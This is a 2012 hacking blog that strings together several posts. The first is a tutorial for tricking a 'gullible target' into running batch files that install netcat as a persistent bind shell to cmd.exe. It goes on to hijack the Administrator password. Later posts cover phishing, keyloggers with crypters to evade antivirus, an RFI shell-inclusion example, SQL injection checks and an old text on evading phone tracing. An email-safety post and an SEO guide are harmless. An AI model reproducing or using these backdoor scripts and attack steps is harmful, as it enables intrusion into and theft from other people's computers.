Monday, March 26, 2012

Hacking a Network Computer

I wrote this because it really worked for me a few times and I hope it does for you too, all you need is very a gullible target.

As we all know, a Trojan is very likely to be picked up by AV, what you need is Netcat, netcat opens a port on a computer for access (If used correctly by a batch file you open a port on a target computer). You will need to write a batch file. The batch file to copy netcat on the remote computer will have to be run from the target computer (The person on the target will have to execute the batch file in some way). Open Notepad and type this in:

Code:
@echo off

cd\
xcopy \\yourIP\shared folder\netcat.exe
copy \\yourIP\shared folder\netcat.exe (just to be sure)
cd "Documents and Settings"
cd "All Users"
cd "Start Menu"
cd Programs
cd Startup
xcopy \\yourIP\shared folder\Startup.bat (This is another batch file you will write)
cd\
netcat.exe -L -p 9999 -d -e cmd.exe
Save the file as a batch file using Notepad.

The next batch file will be used to make sure the port you specified opens up every time windows starts up, you can specify any port you wish. Open Notepad and type:
Code:
@echo off

cd\
netcat.exe -L -p 9999 -d -e cmd.exe
Save the file as a batch file using Notepad, this will be the file that is copied into the startup folder in the previous batch file we wrote. You can bind the batch file to another file and share that file, let the target execute that file so that he can copy netcat and the other batch file onto his/hers computer thus opening port 9999, after port 9999 has been opened you can then use telnet and telnet to that port on the target computer to have full access without ever needing any passwords of any sort. After you are in change the Administrator password for if something happens to your files, the command is this:

net user Administrator newpassword

Now from here you can do what you want, e.g try shutting down the target computer by browsing to his system32 folder and then type in:

shutdown -r -t 10 -c "Hello"

the computer will then restart in 10 seconds time. You can even play around more by Installing Cain & Abel on your computer and then installing Abel remotely on his computer (Since you know the Administrator password) Once you have Abel on the target you can start and stop services and do more!

Complete Hacking information

Introduction:

We see a millions of people going to different forums and websites and asking "how do i hack an email?", "Can you hack blah for me?". So thought to create a tutorial which will give you the basic idea about what the heck is a "HACK", and how to DEFEND YOUR SELF AGAINST HACKERS.

Disclaimer:

As i have seen controversies in the past, here is the disclaimer.

I or the staff of Go4expert.com's does not take any responsibility if you use this tutorial in unethical way. This is written to help you to beware of whats going around, and save your self by not being hacked!

Background:

Hacking started way too far when the windowsd 98 was designed. Hacking is basically finding out the loop holes and trying leak some information out of it, which may lead you to get some critical information like passwords, credit card details. Sometimes hacking is done just because of the personal offesnses.


Things to remember

I will suggest you, KEEP READING ARTICLES AND TUTORIALS FROM GOOD SITES. THATS THE ONLY WAY YOU CAN LEARN.

Initialization:

Getting back to the main point, I am going to discuss some of the ways of hacking in brief. Hacking is basically bifurcated in 2 major parts.

1. Email or the user information
2. Web based hacking.

Email or user information:



These days the most commonly used and famous way of hacking user information like Emails, Passwords, Credit card details are as follow:

a. Phishing
b. Brute Forcing
c. Keylogging
d. Trojans

a. Phishing:
Phishing is basically a massive attack. What a hacker does is, they created an absoulutely look alike page of some website like yahoo or gmail. They upload it to their own server. And give the link to any n00b user. When they open it, they think that they are on the yahoo or gmail page, they put in their username and password, click on submit and WHOA! your information has been submitted. This is widely used by new people trying to entering into ahcking world.
Most recent example in india was some scam with ICICI bank, lots of user info was stolen as far as i remember. I read it somewhere in the news paper and was thinking what the hell! ?

Disadvantages: Still many people give it a try before going for phishing, because the only problem in phishing is, even if the victim knows a little about internet, he will read the URL and understand that it is not a genuine website.
b. Brute Forcing
Brute forcer is basically a program which could be called as a "cracker". In brute focer you put the username you want to hack, and as a password you put a notepad file which has almost all of the existing english words in it. So what it does is, it will try each and every word from that file and see if anything matches. You might have noticed some topics like "huge pass list" on different forums, they are nothing but the password list to put into your bruteforcer.!

Disadvantages:
1. Sometimes brute forcing may just go for ages!
2. It isnt guaranteed
3. These days many people have alpha-numeric-symbol password which is real tough for brutefocer to detect
4. Most of the famous sites like yahoo, gmail are designed in such a way that it will put the "image captcha" after 3 incorrect login attempts, which stops the bruteforcer.

P.S:- I have made some focused FTP, Gmail & Yahoo bruteforcers which are avilable on my website.
c. Keylogging
Keylogger helps you to create a little filed which is known as "server". You gotta send your server to the victim. he has to click on it and then YOUR DONE! this is what happens.
Best possible way to hack someone. Keyloggers are basically a program which will install themselves in your victim's computer and will keep on recording each and every keystroke pressed by the victim on his keyboard and it will send it to the hacker. There are many ways to receive the keystroke i.e. FTP, Email, Messengers. According to me this is the best way to trick your victim and get their information

Disadvantages :
1. When victim receives the keylogger, in most of the cases, their anti virus would auto delete them. So you have to convince them to desable the anti virus by bluffing something.
2. Sometimes firewall blocks the keylogs from being sent.

Tips :
1. There are some programs which are known as "crypters" which will help you to make your server's undetectable. So your victim's anti-virus would not be able to detect them.
d. Trojans:
Trojans are like father of keyloggers. Trojan sends you the keylogs just as keyloggers, on top of that, it lets you take the control of victim's computer. Edit / delete/ upload / download files from or to their computer. Some more funny features like it will make their keyboard go mad, it may kep on ejecting and re-inserting the cd ROM. Much more..

Disadvantages :
Same as keyloggers.

Tips :
Same as keylogger.

Web Hacking:



I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1. SQL Injection:
Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.
So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:
Code:
 yoursite.com/index.php?id=545
just add a ' like this at the end
Code:
 yoursite.com/index.php?id=545'
2. XSS:
XSS is another nice way to ahck some website. Suppose if some website/ forum is allowing HTML in the psot or articles, then a hacker can post a malicious script into the content. So whenever a user opens up the page, the cookies would be sent to the hacker. So he can login as that user and f*ck the website up.
3. Shells:
Shell is a malicious .php script. What you have to do is, find a palce in any website where you can upload any file like avatars, recepie, your tricks, your feedbacks. And you try to upload your shell files from there. And if its uploaded then WHOA!you open it from the URL bar and u can see the entire "FTP" account of that webhosting. YOu can rename/edit / upload/download anything u want including the index page.
This is also known as deface.
4. RFI:
RFI is a good way to deface a website. It is used with shell. Suppose you have uploaded your shell on:
Code:
 yoursite.com/shell.txt
and you found a vulnerable site to RFI... then you can do as follow:
Code:
 victimssite.com/index.php?page=yousite.com/shell.txt
This will again give u the access of your victim's sites FTP , just as shell so you can f*ck up anything you want.

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:
Code:
 yoursite.com/index.php?id=545
just add something liek this at the end
Code:
 yoursite.com/index.php?id=http://www.google.com
And if it incldes the google page into your page, that means its vulnerable to RFI.

Sunday, March 25, 2012

HOW TO HACK HOTMAIL/GMAIL/YAHOO/FACEBOOK ID

HOW TO  HACK HOTMAIL/GMAIL/YAHOO/FACEBOOK ID


I’m merely disappointed by the number of technically illiterate people around the world. The most popular question in any hacking related site is “How to hack e-mail” its not tolerated in any security/hacking related forum and if asked you can expect to get a rant from people. the reason is simple because there are NO ways of hacking a e-mail address by easy means and the people who know this fact often get very annoyed when most people don’t understand WHY its NOT POSSIBLE !
The hacking of a e-mail is possible when a person who owns the account gets hacked. the other way is to hack them directly from the e-mail servers which is most unlikely because these sites use sophisticated Intrusion Detection and highly skilled consultants who are up to date with exploits and patch’s. unless you are a real professional hacker its highly unlikely you will ever break into a e-mail server.
People MUST understand that there are NO PROGRAMS/SOFTWARE’S that can hack a e-mail password when you enter an e-mail address. to understand this
better let me explain you how e-mail works
Lets say you have a gmail account
When you enter your username and password and hit login what happens is your outgoing e-mail server encrypts the login information and sends over the network to its destination which is a gmail server which can ONLY decrypt the encrypted credentials then these were checked against its database and if they match it will re direct you to your mail inbox. to authenticate you with the gmail server, it will send you a cookie ( a text file ) with a session ID to your browser confirming that you are authenticated so the gmail server.
So there was a time when e-mail servers gave the option to NOT to use SSL cause it slows down the e-mail. because of the time it takes to encrypt. it was a “happy time” for the hackers who simply used a wifi hotspot to sniff session ID and break into emails !!! why ? because If anyone sniffs your session ID he can use it to login into you mail WITHOUT the password because the session ID is the proof of authentication as I mentioned earlier ^ but with almost all the e-mail servers NOW use a SSL encryption and the Session ID is also encrypted so by sniffing its NOT possible to decrypt the ID !
So there goes Packet Sniffing
You may ask so what ? why the encryption cannot be cracked ?
Because The encryption uses Hypertext Transfer Protocol over Secure Socket Layer and public/Private key encryptions technique which is almost impossible to crack. Do some Research on these terms and you will know why its not possible to crack/
If you’re curious and patient enough read this else Skip
http://www.cohn-family.com/encryption.htm
So now the next possible way is to somehow hack into the gmail servers and pull the password hash’s and then crack them. well, sadly not many people have succeeded doing it because its highly impossible and way too risky
Now after reading all this you might have a slight idea why I ask people who claim “they can hack any e-mail” to prove it !! so if you can make a program that can somehow bypass all the security and bring the password from the gmail server then you deserve a noble prize !!!
<But I must tell you that professional hackers do have few techniques to override these terms I mentioned in certain cases….>
NOW ASK ME HOW TO HACK A E-MAIL ?

Ok you clearly know its almost impossible but the good news is that its possible to hack a individuals computer or a web server. most people lack of common sense and so many people have NO technical knowledge whatsoever. so by hacking them its possible to steal their passwords.
Because we can’t hack the password from the servers but we can hack it from the people who use it..
There are so many ways.. here are some of the methods,
1. Fake Login page – Fake page also known as phishing. This process involves creating a fake login page of a certain e-mail and tweaking the password authentication process so when the user inserts login details it will be sent to the hacker. This is the easiest way to hack when the victim has no technical knowledge.
2. Social Engineering – Humans have certain weaknesses and this process involves exploiting someone’s weakness to retrieve a credential such as a password. for an e.g: There are many incidents in the past like once when a hacker phoned a employee of a company (victim) and identified himself as the Technical Engineer of that company and instructed the employee (victim) to follow a set of FAKE system error checking and eventually received his login password from him by simply convincing him to reveal them. its just simple as that/ it does takes lot of confidence and skill.
3. Keylogger – Its an application which runs hidden from a user in the background and logs/records all the keystrokes of a user. when a user types something it will be recorded and saved. when the system goes online the recorded details will be sent to the hacker. which can contain a e-mail login detail. the keyloggers are outdated and most of them are detected by anti-virus programs. but when used in a LAN network or when the hacker has physical access to a system it proves to be effective. so if your girlfriend/boyfriend is cheating on you this is the way to go.. but I still think smart people don’t keep “cheating related e-mails in their inbox” he he
The downfall of keyloggers are that not many keyloggers can be deployed remotely and they are often picked by anti-virus programs (which can be avoided by using code obfuscation or packing/crypting, changing Entry point..but its more complex)
Another downfall of keylogger is that most of them don’t use any encryption and the data is sent as it is, with a skilled reverse engineer its possible to track down the hacker by breaking the file and analysing the code.
4. Trojans – Programs which are often known as backdoors. these programs are similar to keyloggers but they can execute certain commands sent by the hacker. most Trojans have a built in password stealer which is an application that can steal stored browser passwords. also in addition they have far more sophisticated functions such as webcam capture (YES the hacker can see you when you pick your nose) ability to browse/download/edit your files and folders, audio recording, etc.. different Trojans have different functions. All hacker has to do is create a server and send it to the victim and once the victim opens the file it will drop into the victims system and connect to hackers client. now he can issue commands to his server which is in the victims computer and manipulate it whatever the way he likes.
Trojans are very easy to use and most of them use encryption and security evasion techniques and there are TONS of tutorials all over internet if anyone interested in using them.
I hope I have covered enough information. so next time when you see someone asking “How to hack email” Please point it to this thread. so he/she don’t waste his/her time and money.
My advise is if you have a personal issue such as cheating/breaking up I encourage you to sort them by other means. or maybe Go see a doctor. if she dumped you… MOVE ON !

Thursday, March 22, 2012

How to Protect an Email Account from Being Hacked


How to Protect an Email Account from Being Hacked

Today in this post I’ll teach you how to protect your email account from being hacked. Nowadays I get a lot of emails where most of the people say “My Email account is hacked please help…”. Now one question which arises in our mind is: “Is it so easy to hack an email account? OR Is it so difficult to protect an email account from being hacked?”. The single answer to these two questions is “Absolutely NOT!”. It is neither easy to hack an email nor difficult to protect an email account from bieng hacked.

If this is the case, then what is the reason for many people to lose their accounts?
The answer is very simple. They don’t know how to protect themselves from being hacked! In fact most of the people who lose their email accounts are not the victims of hacking but the victims of Trapping. They lose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.
Are you confused? If so continue reading and you’ll come to know…
Now I’ll mention some of the most commonly used online scams which fool people and make them lose their passwords. I’ll also mention how to protect your email account from these scams.
1. WEBSITE SPOOFING
Website spoofing is the act of creating a website, with the intention of misleading the readers. The website will be created by a different person or organisation (Other than the original) especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.
For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website. So most of the people believe that it is the original site and lose their passwords. The main intention of spoofed websites is to fool users and take away their passwords. For this,the spoofed sites offer fake login pages. These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc. Since it resemble’s the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts.
Solution:
  • Never try to login/access your email account from the sites other than the original site.
  • Always type the URL of the site in the address bar to get into the site. Never click on the hyperlink to enter the site.
2. BY USING KEYLOGGERS
The other commonly used method to steal password is by using a Keylogger. A Keylogger is nothing but a spyware. The detailed description of keylogger and it’s usage is discussed in the post Hacking an email account. If you read this post you’ll come to know that it is too easy to steal the password using a keylogger program. If you just access your email account from a computer installed with keylogger, you definitely lose your password. This is because the keylogger records each and every keystroke that you type.
Solution:
Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly. This keeps your PC secure from a keylogger. Also there is a program called Anti-keylogger which is specially designed to detect and remove keyloggers. You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.
3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES
Do you access your email from cyber cafes?  Then definitely you are under the risk of loosing your password.In fact many people lose their email account in cyber cafes. For the owner of the cyber cafe it’s just a cakewalk to steal your password. For this he just need’s to install a keylogger on his computers. So when you login to your email account from this PC, you give away your password to the cafe owner. Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.
This doesn’t mean that you should never use cyber cafes for browsing the internet. I know, not all the cyber cafe owners will be so wicked but it is recommended not to use cafes for accessing confidential information. If it comes to the matter of security never trust anyone, not even your friend. I always use my own PC to login to my accounts to ensure safety.
So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked.

Wednesday, March 21, 2012

The Basics of Hacking Part II

The Basics of Hacking II            

Basics to know before doing anything, essential to your continuing
career as one of the elite in the country...  This article, "the
introduction to the world of hacking" is meant to help you by telling you
how not to get caught, what not to do on a computer system, what type of
equipment should I know about now, and just a little on the history, past
present future, of the hacker.

Welcome to the world of hacking! We, the people who live outside of the
normal rules, and have been scorned and even arrested by those from the
'civilized world', are becomming scarcer every day.  This is due to the
greater fear of what a good hacker (skill wise, no moral judgements
here)|can do nowadays, thus causing anti- hacker sentiment in the masses.
Also, few hackers seem to actually know about the computer systems they
hack, or what equipment they will run into on the front end, or what they
could do wrong on a system to alert the 'higher' authorities who monitor
the system. This article is intended to tell you about some things not to
do, even before you get on the system.  I will tell you about the new wave
of front end security devices that are beginning to be used on computers.
I will attempt to instill in you a second identity, to be brought up at
time of great need, to pull you out of trouble. And, by the way, I take no, repeat,
no, responcibility for what we say in this and the forthcoming articles.
Enough of the bullshit, on to the fun: after logging on your favorite bbs,
you see on the high access board a phone number!  It says it's a great
system to "fuck around with!" This may be true, but how many other people
are going to call the same number?  So:  try to avoid calling a number
given to the public. This is because there are at least every other
user calling, and how many other boards will that number spread to?
If you call a number far, far away, and you plan on going thru an
extender or a re-seller, don't keep calling the same access number
(I.E. As you would if you had a hacker running), this looks very suspicious
and can make life miserable when the phone bill comes in the mail.
Most cities have a variety of access numbers and services,
so use as many as you can. Never trust a change in the system...
The 414's, the assholes, were caught for this reason: when one of them
connected to the system, there was nothing good there.  The next time,
there was a trek game stuck right in their way!  They proceded to play said
game for two, say two and a half hours, while telenet was tracing them!
Nice job, don't you think?  If anything looks suspicious, drop the line
immediately!!  As in, yesterday!! The point we're trying to get accross is:
if you use a little common sence, you won't get busted.  Let the little
kids who aren't smart enough to recognize a trap get busted, it will take
the heat off of the real hackers. Now, let's say you get on a computer
system...  It looks great, checks out, everything seems fine.
Ok, now is when it gets more dangerous.  You have to know the computer
system to know what not to do.
Basically, keep away from any command something, copy a new file into the
account, or whatever!  Always leave the account in the same status you
logged in with.  Change *nothing*... If it isn't an account with priv's,
then don't try any commands that require them! All, yes all, systems are
going to be keeping log files of what users are doing, and that will
show up.  It is just like dropping a trouble-card in an ESS system,
after sending that nice operator a pretty tone.
Spend no excessive amounts of time on the account in one stretch.
Keep your calling to the very late night ifpossible, or during
business hours (believe it or not!).  It so happens
that there are more users on during business hours, and it is very
difficult to read a log file with 60 users doing many commnds every minute.
Try to avoid systems where everyone knows each other, don't try to bluff.
And above all:  never act like you own the system, or are the best there
is. They always grab the people who's heads swell... There is some very
interesting front end equipment around nowadays, but first let's
define terms... By front end, we mean any device that you must
pass thru to get at the real computer. There are devices that are made to
defeat hacker programs, and just plain old multiplexers.
To defeat hacker programs, there are now devices that pick up the phone
and just sit there...  This means that your device gets no carrier,
thus you think there isn't a computer on the other end.  The
only way around it is to detect when it was picked up.  If it pickes up
after the same number ring, then you know it is a hacker-defeater.
These devices take a multi-digit code to let you into the system.
Some are, in fact, quite sophisticated to the point where it
will also limit the user name's down, so only one name or set of names
can be valid logins after they input the code... Other devices input a
number code, and then they dial back a pre-programmed number for that code.
These systems are best to leave alone,
because they know someone is playing with their phone.  You may think "but
i'll just reprogram the dial-back." Think again, how stupid that is...
Then they have your number, or a test loop if you were just a little
smarter. If it's your number, they have your balls (if male...),
If its a loop, then you are screwed again, since those loops
are *monitored*. As for multiplexers...  What a plexer is supposed
to do is this:
The system can accept multiple users. We have to time share, so we'll let
the front-end processor do it...  Well, this is what a multiplexer does.
Usually they will ask for something like "enter class" or "line:".  Usually
it is programmed for a double digit number, or a four to five letter word.
There are usually a few sets of numbers it accepts, but those numbers also
set your 300/1200/2400 baud data type.
These multiplexers are inconvenient at best, so not to worry. A little
about the history of hacking: hacking, by my definition, means a great
knowledge of some special area. Doctors and lawyers
are hackers of a sort, by this definition.  But most often, it is
being used in the computer context, and thus we have a definition of
"anyone who has a great amount of computer or telecommunications
knowledge."  You are not a hacker because you have a list of codes...
Hacking, by my definition, has then been around only about 15 years.
It started, where else but, mit and colleges where they had computer
science or electrical engineering departments.
Hackers have created some of the best computer languages, the
most awesome operating systems, and even gone on to make millions.
Hacking used to have a good name, when we could honestly say
"we know what we are doing".  Now it means (in the public eye):
the 414's, ron austin, the nasa hackers, the arpanet hackers...
All the people who have been caught,
have done damage, and are now going to have to face fines and sentences.
Thus we come past the moralistic crap, and to our purpose:  educate the
hacker community, return to the days when people actually knew something...

                   

The Basics of Hacking Part I

Hacking Tutorial  Part I

What is hacking?
----------------
According to popular belief the term hacker and hacking was founded at mit
it comes from the root of a hack writer,someone who keeps "hacking" at
the typewriter until he finishes the story.a computer hacker would be
hacking at the keyboard or password works.

What you need:
--------------
To hack you need a computer equipped with a modem (a device that lets you
transmit data over phone lines) which should cost you from $100 to $1200.

How do you hack?
----------------
Hacking recuires two things:
1. The phone number
2. Answer to identity elements

How do you find the phone #?
----------------------------
There are three basic ways to find a computers phone number.
1. Scanning,
2. Directory
3. Inside info.

What is scanning?
-----------------
Scanning is the process of having a computer search for a carrier tone.
For example,the computer would start at (800) 111-1111 and wait for carrier
if there is none it will go on to 111-1112 etc.if there is a carrier it
will record it for future use and continue looking for more.

What is directory assictance?
-----------------------------
This way can only be used if you know where your target computer is. For this
example say it is in menlo park, CA and the company name is sri.

1. Dial 411 (or 415-555-1212)
2. Say "Menlo park"
3. Say "Sri"
4. Write down number
5. Ask if there are any more numbers
6. If so write them down.
7. Hang up on operator
8. Dial all numbers you were given
9. Listen fir carrier tone
10. If you hear carrier tone write down number, call it on your modem and your
    set to hack!


HACKING TECHNIQUES

HACKING TECHNIQUES

1) CALLBACK UNITS:

Callback units are a good security device, But with most phone systems,
it is quite possible for the hacker to use the following steps to get
around a callback unit that uses the same phone line for both incomming
and out going calls:First, he calls he callback unit and enters any
authorized ID code (this is not hard to get,as you'll see in a moment).
After he enters this ID, the hacker holds the phone line open - he does
not hang up. When the callback unit picks up the phone to call the user back,
the hacker is there, waiting to meet it.

 The ID code as I said, is simple for a hacker to obtain, because these
codes are not meant to be security precautions.The callback unit itself
provides security by keeping incomming calls from reaching the computer.
The ID codes are no more private than most telephone numbers. Some callback
units refer to the codes as "location identification numbers," and some
locations are used by several different people,so their IDs are fairly
well known.I've been told that, in some cases,callback ubits also have
certain simple codes that are always defined by default. Once the hacker
has entered an ID code and the callback unit has picked up the phone to
re-call him,the hacker may or may not decide to provide a dial tone to
allow the unit to "think" it is calling the correct number. In any event,
the hacker will then turn on his computer, connect with the system - and
away he goes.If the however, the hacker has trouble holding the line with
method,he has an option: the intercept.

The Intercept:
 Holding the line will only work with callback units that use the same
phone lines to call in and to call out.Some callback units use different
incoming and outgoing lines, numbers 555-3820 through 555-3830 are dedicated
to users' incoming calls, and lines 555-2020 through 555-2030 are dedicated
to the computers outgoing calls.The only thing a hacker needs in order to
get through to these systems is a computer and a little time - he doesn't
even need an ID code. First,the hacker calls any one of the outgoing phone
lines, which, of course, will not answer.Sooner or later, though, while the
hacker has his computer waiting there, listening to the ring, an authorized
user will call one of the incomming lines and request to be called back.
It will usually be less than an hours wait, but the hacker's computer
is perfectly capable of waiting for days, if need be.

 The callback unit will take the code of the authorized user, hang up,
verify the code, and pick up the phone line to call back.If the unit
tries to call out on the line the hacker has dialed, the hacker has his
computer play a tone that sounds just like a dial tone.The computer will
then dial the number given that matches up with the user's authorized ID.
After that,the hacker can just connect his computer as he would in any
other case.If he is really serious,he will even decode the touch tones
that the mainframe dialed,figure out the phone number of the user the
system was calling, call the person, and make a few strange noises that
sound as though the computer called back but didnt work for some reason.

2) TRAPDOORS AS A POSSIBLILITY

 I haven't heard of this happening, but i think it is possible that a
callback modem could have a trapdoor built into it.Callback modems are
run by software, which is written by programmers.An unscrupulous programmer
could find it very easy to slip in an unpublicized routine, such as,
"if code =*43*, then show all valid codes and phone numbers." And such a
routine, of course, would leave security wide open to anyone who found the
trapdoor.The obvious protection here, assuming the situation ever arises,
is simply an ethical manufactorer that checks its software thoroughly before
releasing it.

 A trapdoor is a set of special instructions embedded in the large
program that is the operating system of a computer.A permanent,
hopefully secret "doorway", these special instructions enabe anyone who
knows about them to bypass normal security procedures and to gain access to
the computer's files.Although they may sound sinister, trapdoors were not
invented by hackers, although existing ones are certainly used by hackers
who find out about them.

3) THE DECOY

 One of the more sophisticated hacking tools is known as the decoy, and it
comes in three versions.The first version requires that the hacker have an
account on the system in question. As in my case,the hacker has a
low-security account,and he tries this method to get higher-security
account.He will first use his low-security account to write a program that
will emulate the log-on procedures of the systems in questions.
This program will do the following:

*- Clear the terminal screen and place text on it that makes everything
look as if the system is in charge.

*- Prompt for, and allow the user to enter, both an account name and a password.
*- Save that information in a place the hacker can access.

*- Tell the use the account/password entries are not acceptable.

*- turn control of the terminal back over to the system.

The user will now assume that the account name or password was mistyped
and will try again...this time (scince the real operating system is in
control) with more success.You can see a diagram of the way these steps are
accomplished

 ___________________  
 |   Clear Terminal   |
 |       screen       |
 |____________________|
           ||
  _________||_________
 |  Print Compuserve  |
 |      Computer      |
 |_____ Network ______|
           ||
  _________||_________
 |   Print "ENTER     |
 |     PASSWORD"      |______
 |____________________|      |
          ||                 |
 _________||_________        |
 |  PASSWORD ENTERED? |__NO__|
 |____________________|  
          ||_YES
 _________||_________
 |   SAVE PASSWORD    |
 |    INFORMATION     |
 |____________________|
          ||
 _________||_________
 |   PRINT "LOGIN     |
 |     INCORRECT      |
 |____________________|
          ||
 _________||_________
|   LOG OFF/RETURN   |
|    CONTROL TO      |
|  OPERATING SYSTEM  |
|____________________|

 4) CALL FORWARDING

 Many people use call forwarding by special arrangement with the phone
company.When a customer requests call forwarding, the phone company uses
its computer to forward all the customers incomeing calls to another
number. Lets say, for example, that you want calls that come to your office
phone to be forwarded to your home phone: A call from you to the phone
company,some special settings in the phone companys computer, and all
calls to your office will ring at your home instead.This little bit of help
from the phone company is another tool used by hackers. Lets say you thought
that the computer you were hacking into was being watched-because the
sysop might have seen you and called the fed's and your sort of bugged by
this nagging feeling that they will trace the next hacker that calls,
just call the phone company and ask for call forwarding, pick a number,
(ANY NUMBER) out of the phone book and have your calls forwarded to that
number,Hea,Hea, the number you picked is the one that will be traced to,
not yours, so you could be hacking away,they think that they have traced you,
but actually the number you had your calls forwarded too. they enter chat mode
and say (YOUR BUSTED!!!!, WE'VE TRACED YOUR PHONE NUMER THE FEDS ARE ON THE
WAY!!), You could reply (Hea, SURE YA DID! I'D LIKE TO SEE YA TRY AND GET ME!
GO AHEAD!) ,that wont seem very important to them at the time, but it will
sure piss them off when they bust the wrong guy! 

5) RAPID FIRE

 Memory-location manipulation can be helpful, but there is another, more
powerful,possibility, in some cases: the Rapid-fire method.To understand how
this methos works, you have to know something about the way operationg
systems work.When a user enters a command, the operating system first places
the command in a holding area, a buffer, where it will sit for a few
millionths of a second.The system looks at the command and say's "Does this
person really have authorization to do this, or not?" Then, the command
sits there a few thousandths of a second while the system runs off to
check the user's authorization.When the system comes back to the command,
it will have one of two possible answers: "OK, GO AHEAD," or "SORRY,
GET PERMISSION FIRST."

 Once you are on a system that handles things this way, you can use the
rapid-fire method to change the command while its sitting in the buffer,
waiting to be executed. If you can do this,you can do anything.You can enter
a command that you know will be approved, such as "tell me the time." As soon
as the system runs off to verify your right to know the time,you change
the command in the buffer to something you know would not be approved-perhaps
"give me a list of all the passwords." When the system comes back with an
"OK, go ahead," it responds to your second command, not the first. Of course,
this exchange has to be done very rapidly,but most systems existing today
can be fooled by this trick. The question is,how easy is it to do, and how
much authority do you need? I know of one system that let this one slip.

These are certainly not all the hacker's little secret tricks and tool's,
You will probably figure out some better, more efficiant,hacking techniques.

GOOD LUCK!!!!!!

How To Get Top Ranking, Search Engines

The tutorial is all about getting your site listed on top in Search Engines i.e Search Engine Optimization

First thing you need to do is find the keywords you want to optimize for.

There is great tool by Overture (/http://inventory.overture.com/d/sea...ory/suggestion/)

But I would suggest using this free tool called GoodKeywords (/http://www.goodkeywords.com/products/gkw/)

This one does the same job as Overture does but it also supports other Search Engines (Lycos and Teoma etc..)

For example if you want to optimize for the keyword "tech news", just search for the keyword in any of the tools specified above... It would show you keywords related to that and not of the searches..

Pick the keywords which are related to your site.

For example when you search for "Tech News" you'll see the following results:

Count Search Term
11770 tech news
351 itt news tech
191 high tech news
60 news tech texas
49 computer tech news
42 bio news tech
34 in itt news tech
30 news tech virginia
29 asia news tech
25 hi tech news
25 sci tech news

Now see what other terms are related to your keyword technology news

Do couple of searches like that and note down around 15-20 keywords.
Then, keep the keywords which are searched most on the top.

Now you need Title Tag for the page.

Title tag should include top 3 keywords, like for "tech news" it can be like :

"Latest Tech News, Information Technology News and Other computer raleted news here."

Remember that characters should not be more than 95 and should not have more than 3 "," commas - some search engines might cosider more than 3 commas as spam

Now move on to Meta Tags

You need following Meta Tags in web page

<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<META name="keywords" content="keyword1,keyword2,keyword3">
<META name="description" content="brief description about the site">
<META name="robots" Content="Index,Follow">


No need to have other meta tags like abstract, re-visit and all, most people dont read it.

Now...

<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

This tag is tells content type is html and character set used it iso-8859-1 there are other character sets also but this is the one mosty used..

<META name="keywords" content="keyword1,keyword2,keyword3">

This one should have all your keywords inside starting from keyword with most counts...

keyword tag for our example would be something like :

<META name="keywords" content="tech news,technology news, computer technology news,information technology,software news">

Remember to put around 15-20 keywords max not more than that. Dont repeat keywords or dont put keywords like, "tech news", "info tech news", "latest tech news" and so on...

<META name="description" content="brief description about the site">

Provide short decription about your site and include all the keywords mentioned in the title tag.

Decription tag should be:

<META name="description" content="One Stop for Latest Tech News, Information Technology News, Computer Related and Software news.">

It can be upto 255 characters and avoid using more than 3 "," commas

<META name="robots" Content="Index,Follow">

This is used for search robots..following explanation will help you :

index,follow = index the page as well as follow the links
noindex,follow = dont index the page but follow the links
index,nofollow = index the page but dont follow the links
noindex,nofollow = dont index page, dont follow the links
all = same as index,follow
none = same as noindex,nofollow

Now move on to body part of the page

Include all top 3 keywords here,
I would suggest to break the keyword and use it...

For example

YourSiteName.com one stop for all kind of Latest Tech News and Computer Related information and reviews.................

Include main keywords in <h#> tags <h1><h2> etc..
and start with <h1> and then move to <h2> <h3> etc..

<h1> tag will be too big but CSS can help you there, define small font size in css for H1,H2,... tags

When done with page copy, then you need to provide title and alt tags for images and links.

Use some keywords in the tags but dont add all the keywords and if not neccessary then dont use keywords in it, basically it should explain what is image all about.

Remember to add Top keyword atleast 4 times in the body and other 2 keywords thrice and twice respectively.

Now move on to Footer Part
Try to include top keywords here and see the effect, use site keywords as links i.e.

<a href="news.php">Tech News</a> <a href="software-news.php">Software News</a> etc..

Now finally, you need to read some more stuff..may be you can all it as bottom lines...

Site Map - This is page where you need to put all the links present in your site, this is will help Search Engines to find the links easily and also provide link for site map in footer, as search engines start scanning the page from bottom.

Robots.txt - This file contains address of directories which should not be scanned by search engines.. more info can be found here : /http://www.robotstxt.org/wc/exclusion.html search engines line google, yahoo ask for robots.txt file.

Valid HTML - Your code should have valid html and doc type, Its kind of diffucult to follow all the standards but you can atleast open and close all the tags properly, you can check your page's html online here : /http://validator.w3.org/ or you can use this free software called HTML Tidy : /http://tidy.sourceforge.net/

All done now, you just need to check your site with this script, its called SEO Doctor : /http://www.instantposition.com/seo_doctor.cfm

It'll show you the report of your site with solution.

Now, correct the errors and start submitting the site :

Start with google : /http://google.com/addurl.html
then yahoo : /http://submit.search.yahoo.com/free/request
then move to altavista,alltheweb and other search engies..

Also submit your site to direcories like /http://dmoz.org , /http://jayde.com etc...
Dmoz is must, as google, yahoo and may more search engines uses same directory

And remember, dont try to SPAM with keywords in these directories, dmoz is handled by Human Editors

Submitted the sites, but still i cant see you site on top?

